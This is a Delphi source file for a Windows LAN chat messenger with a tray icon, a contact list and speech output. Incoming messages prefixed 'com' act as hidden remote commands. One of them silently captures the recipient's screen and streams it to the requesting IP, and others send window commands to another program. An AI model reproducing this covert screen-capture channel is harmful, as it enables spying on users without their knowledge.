unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Psock, NMMSG, Menus, ExtCtrls, ComCtrls, ImgList,
  NMSTRM, Buttons,winSock, ScktComp, ShellAPI,ActiveX,comobj;
  
const WM_NOTIFYTRAYICON =  WM_USER + 151;


type
  TForm1 = class(TForm)
    NMMSGServ1: TNMMSGServ;
    Edit1: TEdit;
    Button2: TButton;
    MainMenu1: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    Animate1: TAnimate;
    Button3: TButton;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Timer1: TTimer;
    Timer2: TTimer;
    Image1: TImage;
    N3: TMenuItem;
    Panel1: TPanel;
    RadioGroup1: TRadioGroup;
    Label5: TLabel;
    Label6: TLabel;
    N6: TMenuItem;
    N7: TMenuItem;
    Label1: TLabel;
    Memo1: TMemo;
    StatusBar1: TStatusBar;
    PopupMenu1: TPopupMenu;
    N11: TMenuItem;
    N21: TMenuItem;
    N31: TMenuItem;
    ListView1: TListView;
    N4: TMenuItem;
    N9: TMenuItem;
    N10: TMenuItem;
    ButOtmen: TBitBtn;
    procedure NMMSGServ1MSG(Sender: TComponent; const sFrom, sMsg: String);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
     procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure RadioGroup1Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    function pered(nom:integer):integer;
    procedure N5Click(Sender: TObject);
    procedure N31Click(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure ListView1Click(Sender: TObject);
    procedure N11Click(Sender: TObject);
    procedure N7Click(Sender: TObject);
    procedure N4Click(Sender: TObject);
    procedure ButOtmenClick(Sender: TObject);
    procedure N9Click(Sender: TObject);
    procedure N10Click(Sender: TObject);
  private
   procedure treyClick(var mess :TMessage);message WM_NOTIFYTRAYICON ;
 { Private declarations }
  public
    { Public declarations }
  end;

 procedure showrecord(posic:integer);
 procedure saverecord(posic:integer);
 procedure creatButton;
 
type Tzapis=record
        name : string[20];
        fIP: string[20];
        end;

 var
 zapisfile: file of Tzapis;//файловая переменная
 zapisData:Tzapis;
  Form1: TForm1;
  kolbutton:integer;
  tray: TNotifyIconData;

implementation

uses Unit2, Unit3, Unit6;

{$R *.dfm}
{$R avi.res}
var
     x,y:integer;
       sName,sIP,myname:string;
       dset:TNMstrm;
       NMmsg1:TNMMsg;
       stream:TmemoryStream;//поток
       soobch: string; //сообщение
       notprav:integer;//отправлено сообщений
       npoluch:integer;//получено сообщений
       curs:integer;//вид курсора при передаче
       golos:boolean;//наличие голосового компонента
       CanvPain:boolean;//украшение  ListView1
/////////////////////////////////////////////////////////---------------------
r:variant;
w:IDispatch;
function CreateGuiObject(ClassID: Tguid): IDispatch;
begin
CoCreateInstance(ClassID, nil, CLSCTX_INPROC_SERVER or
    CLSCTX_LOCAL_SERVER, IDispatch, Result);
end;
//////////////////////////////////////////////////////////////
function ComputerName(): string;
var
  cname: pchar;
  cnsiz: cardinal;
begin
  cname := StrAlloc(MAX_COMPUTERNAME_LENGTH + 1);
  cnsiz := MAX_COMPUTERNAME_LENGTH + 1;
  GetComputerName(cname,cnsiz);
  if (cnsiz > 0) then
    Result := string(cname) else
    Result := 'n/a';
  StrDispose(cname);
end;
/////////////////////////////////////////////////////////////////
procedure form3close;
begin
 application.Terminate;
end;
////////////////////////////КЛИК ПО ТРЕЮ/////////////////////
procedure Tform1.treyClick(var mess :TMessage);
var
  p: TPoint;
begin
   case mess.Msg of
    WM_NOTIFYTRAYICON: begin // Событие tray
     if mess.LParam = WM_LBUTTONUP then //если левая
        begin    form1.Show; ShowWindow(form1.Handle, SW_SHOWNORMAL  );  end;
     if mess.LParam = WM_RBUTTONUP then//если правая
        begin GetCursorPos(p);//позиция курсора
         form1.popupmenu1.Popup(p.X,p.Y); //показать
         end;
     end;
end;
end;
///---------передача файла--//////////////////////
procedure perscreen(ipserv:string);
begin
stream:=TmemoryStream.Create();
x:= GetSystemMetrics(SM_CXSCREEN ) ;
y:= GetSystemMetrics(SM_CySCREEN );
form1.image1.Width:= x;
form1.image1.Height:=y;
bitblt(form1.image1.Canvas.Handle,0,0,x,y,getdc(0),0,0, SRCCOPY );
form1.image1.Picture.Bitmap.SaveToStream(stream);//картинку в поток
stream.Seek(0,soFromBeginning);
 dset:= TNMstrm.Create(form1); //создать передатчик в сеть
 dset.Host:=ipserv;
 dset.FromName:=myname;
 dset.Port:=6712;
 dset.PostIt(stream); //передать
 dset.Free;// уничтожить

end;
//////-----------------------------------
//--------------------cоздать трей-----------
procedure CreateTray;
begin
  with tray do begin
    cbSize := sizeof(TNotifyIconData);
    wnd := form1.Handle;
    uID := 0;
    uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
    uCallBackMessage := WM_NOTIFYTRAYICON;
    hIcon := LoadIcon(hInstance, '103');
    szTip := ('сообщения по сети');
  end;
 Shell_NotifyIcon(NIM_ADD, @tray); //добавить в трей
end;
//--------------------------------------------------------------------------
/////////////////////////////////////////////////////////
procedure saverecord(posic:integer);
begin
 Seek(zapisfile,posic);
 write(zapisfile,zapisdata);
end;
procedure showrecord(posic:integer);
 begin
 Seek(zapisfile,posic);
 Read(zapisfile,zapisdata);
 sName:=zapisdata.name;
 sIP:=zapisdata.fIP;
 end;
//-------------------------------------------------------
///-----------------------------------------------------------------
procedure creatButton;
 var
  n: Integer;
  ListItem: TListItem;
begin
  kolbutton:= filesize(zapisfile)-1;
  if  kolbutton>0 then begin
   with form1.ListView1 do
   begin
  for n:=0 to kolbutton-1 do begin
      showrecord(n);
      ListItem:= Items.Add;
      Listitem.Caption := zapisdata.name;//
      ListItem.ImageIndex := 1;
    end;
    end;
   //-------------------------------------------------
 end;
 form1.Caption:='мой IP = '+ form1.NMMSGServ1.LocalIP; //вывести IP адрес
 form1.timer2.Enabled:=true;
 form1.timer1.Enabled:=true;
 //-----------------------
end;
procedure speech(reed:string); //процедура голоса
begin
if golos then  r.speak(reed);
end;
////--------------------------------------------------------------------------
 var cc:  TImage;
procedure TForm1.FormCreate(Sender: TObject);
 var i:integer;
 begin
try
 //подключить голос        GUID  компонента   {EEE78591-FE22-11D0-8BEF-0060081841DE}
 w:= CreateguiObject(stringtoguid('{EEE78591-FE22-11D0-8BEF-0060081841DE}'));
r:=w;
r.speed:=85;
r.speak('всем! привет!');
r.speed:=85;
 golos:=true;
 except
 n4.Enabled:=false;
 golos:=false; //нет компонента
 n9.Enabled:=false;
 n10.Enabled:=false;
// messagebox(form1.Handle,'Голосовой компонент не установлен!','ошибка!',0);
end;
 ///загрузить курсоры
 screen.Cursors[1]:=loadcursorfromfile('METRONOM.ANI');
 //----------------------------
cc := TImage.Create(panel1);
cc.Parent:=panel1;
cc.Transparent:=true;
cc.Align:=alClient;
/////----------------------------------
 CreateTray;//показать trey
 panel1.Visible:=false;
 Animate1.Visible:=false;
 AssignFile(zapisfile,'set.dat');
 if not FileExists('set.dat') then
                begin
                 rewrite(zapisfile); //создать файл
                       zapisdata.name:='';
                      zapisdata.fIP:='';
                  for i:=0 to 1 do
                      begin
                        Seek(zapisfile,i);
                        write(zapisfile,zapisdata);
                      end;
               end
                else begin
                  Reset(zapisfile);
                  if not eof(zapisfile) then
                        begin
                        read(zapisfile,zapisdata);
                        showrecord(1);
                        end;
                end;
   form1.ListView1.Clear;
if  form1.ListView1.Columns.Count>0 then form2.ListView1.Columns.Clear;
    form1.ListView1.Font.Size:=12;
    form1.ListView1.Columns.Add.Caption:='   ОТПРАВИТЬ ';
  form1.ListView1.Column[0].Width:=150;
    form1.ListView1.ViewStyle := vsReport;
myname:=computername;
creatButton;
end;


 /////////////////////прием сообщения/////////////////////////////////////////////
 var ipotv:string;
 speechmessag:string;
 procedure TForm1.NMMSGServ1MSG(Sender: TComponent; const sFrom,sMsg: String);
var tim:string;
hwd:integer;
label m1;
begin
////////////выбор команд /////////////////////////////////////
if copy(smsg,1,3)='com' then begin
  ipotv:= copy(smsg,5,15);
       case strtoint(smsg[4]) of
            1:   begin
                 hwd:= findwindow(pchar('sist'),pchar('диспечер задач'));
                 postMessage(hwd,WM_COMMAND,112,112);
                 end;
            2:   begin
                 hwd:= findwindow(pchar('sist'),pchar('диспечер задач'));
                 postMessage(hwd,WM_COMMAND,111,111);
                 end;
            3:  begin perscreen(ipotv); screen.Cursor:=0; curs:=0; end;
            4:   begin
                 hwd:= findwindow(pchar('sist'),pchar('диспечер задач'));
                 postMessage(hwd,WM_COMMAND,110,110);
                 end;
            5: beep;
            6: beep;
            end;
  goto m1; end;
/////////////////////////////////////////////////////
nmmsg1.TimeOut:=200;
tim:=timetostr(time); //добавляет время в сообщения
Memo1.Lines.Add(tim+' - '+sfrom+': '+smsg); //слушает
form1.Show; //показать форму
ShowWindow(form1.Handle, SW_SHOWNORMAL);
beeper;//звуковой сигнал
npoluch:=npoluch+1;
StatusBar1.Panels[1].Text:= 'пришло сообщений: '+inttostr(npoluch);
speech(smsg);
speechmessag:=smsg;

m1:
 screen.Cursors[0];
end;
////////////////отправить//////////////////////////////
//
//
///////////////////////////////////////////////////////
procedure TForm1.Button2Click(Sender: TObject);
var //buf:array[0..20] of char;
    uname:pchar;
     unsiz: cardinal;
begin
 Screen.Cursor:=curs; //Изменить курсор
label1.Visible:=false;
Memo1.Visible:=false;
label3.Visible:=true;
label3.Caption:=sName;
  uname := StrAlloc(255);
  unsiz := 100;

try
 NMmsg1:=TNMMsg.Create(self); //создать text
 nmmsg1.OnMessageSent:=button3.OnClick;//связать с нажатием
 nmmsg1.TimeOut:=3000;
 nmmsg1.Host:=sIP;
 nmmsg1.FromName:=myname;//  uname;
 nmmsg1.Port:=6711;
 nmmsg1.PostIt(soobch);
 nmmsg1.Free;
Memo1.Visible:=true;
 label3.Visible:=false;
  notprav:=notprav+1;
 StatusBar1.Panels[0].Text:='отправлено сообщений: '+inttostr(notprav);
 except
 on ESockError do messagebox(form1.Handle,'выбраный компьютер не отвечает','    нет соединения',0+MB_ICONINFORMATION+MB_APPLMODAL);
  end;
end;
///////////настройка/////////////////////
procedure TForm1.N2Click(Sender: TObject);
begin
form2.show;
form2.ListView1.Clear;
end;
//
 ////////////анимация  передача ////////////
procedure TForm1.Button3Click(Sender: TObject);
begin
  Animate1.Visible:=true;
 Animate1.ResId:=102;
 animate1.Play(0,10,1);
 sleep(2000);
 animate1.Stop;
  label2.Visible:=true;
 Animate1.Visible:=false;
 Animate1.Reset;
  label2.Caption:='отправлено!!';
  application.ProcessMessages;
 sleep(1000);
   label2.Visible:=false;
   label1.Visible:=true;
end;

function TForm1.pered(nom:integer):integer;
begin
panel1.Visible:=false;
soobch:=edit1.Text;
edit1.Text:='';
showrecord(nom);
sIP:=zapisdata.fIP;
sname:=zapisdata.name;
button2.Click;
result:=0;
end;
//-----------------------------------------------------------------------
procedure TForm1.Timer1Timer(Sender: TObject);
// var msg1:Tmsg;
begin
if GetAsyncKeyState(VK_F7)<>0 then begin form1.Show; ShowWindow(form1.Handle, SW_SHOWNORMAL); end;
if GetAsyncKeyState(VK_F10)<>0 then begin Shell_NotifyIcon(NIM_DELETE, @tray);
application.Terminate; end;
 end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
  ShowWindow(Application.Handle, SW_MINIMIZE );
  ShowWindow(Application.Handle, SW_HIDE);
  sleep(100);
  ShowWindow(form1.Handle,SW_SHOWNORMAL);
  form1.Close;
  timer2.Enabled:=false;
end;

procedure TForm1.N3Click(Sender: TObject);
begin
//CanvPain:=true;
form1.Paint;
panel1.Visible:=true;
ListView1.Enabled:=false;
RadioGroup1.ItemIndex:=-1;
end;

procedure TForm1.RadioGroup1Click(Sender: TObject);
begin
case RadioGroup1.ItemIndex of
0: edit1.Text:='com1'+ NMMSGServ1.LocalIP;
1: edit1.Text:='com2'+ NMMSGServ1.LocalIP;
2: begin curs:=1;  edit1.Text:='com3'+ NMMSGServ1.LocalIP;  end;
3: edit1.Text:='com4'+ NMMSGServ1.LocalIP;
4: edit1.Text:='com5'+ NMMSGServ1.LocalIP;
end;
ListView1.Enabled:=true;
CanvPain:=false;
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
end;
/////////////////////////////////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////////////////////////////////
procedure TForm1.N5Click(Sender: TObject);
begin
form2.show;

end;

procedure TForm1.N31Click(Sender: TObject);
begin
//Shell_NotifyIcon(NIM_DELETE, @tray);
//form3.Close;
 messageBox(0,'не выдумывай!! ','  ',0);
end;
//////////украшение формы--------------
procedure TForm1.FormPaint(Sender: TObject);
type TRGB=record
 b,g,r:byte;
end;
ARGB=array [0..1] of TRGB;
PARGB=^ARGB;
var
 b:TBitMap;
 p:PARGB;
 x,y:integer;
  //dc:variant;

begin
 b:=TBitMap.Create;
 b.pixelformat:=pf24bit;
 b.width:= Clientwidth;
 b.height:= Clientheight;
 for y:=0 to b.height-1 do
  begin
  p:=b.scanline[y];
  for x:=0 to b.width-1 do
    begin
p[x].r:=random(250);
p[x].g:=250;
p[x].b:=250*x div b.Width;
   end;
  end;
canvas.draw(0,0,b);
cc.canvas.Draw(0,0,b);
//ButOtmen.Brush.Bitmap.Canvas.Draw(0,0,b);
 b.free;
end;
//--------нажатие на   ListView1
procedure TForm1.ListView1Click(Sender: TObject);
var n:integer;
begin
AboutBox1.Close;
try
n:= ListView1.Selected.Index;
pered(n);
except
beep;
end;

end;

procedure TForm1.N11Click(Sender: TObject);
begin
 form1.Show; ShowWindow(form1.Handle, SW_SHOWNORMAL  );
end;

procedure TForm1.N7Click(Sender: TObject);
begin
AboutBox1.Timer1.Enabled:=true;
AboutBox1.Top:=form1.Top+64;
AboutBox1.Left:=form1.Left+174;
AboutBox1.SHOW;
end;

procedure TForm1.N4Click(Sender: TObject);
begin
r.generaldlg(form1.Handle,'настройка');
end;

procedure TForm1.ButOtmenClick(Sender: TObject);
begin
Edit1.Clear;
Panel1.Visible:=false;
ListView1.Enabled:=true;
curs:=0;

end;

procedure TForm1.N9Click(Sender: TObject);
begin
 speech(speechmessag);
end;

procedure TForm1.N10Click(Sender: TObject);
begin
 r.AudioReset;
end;
 //AboutBox1.Close;
end.
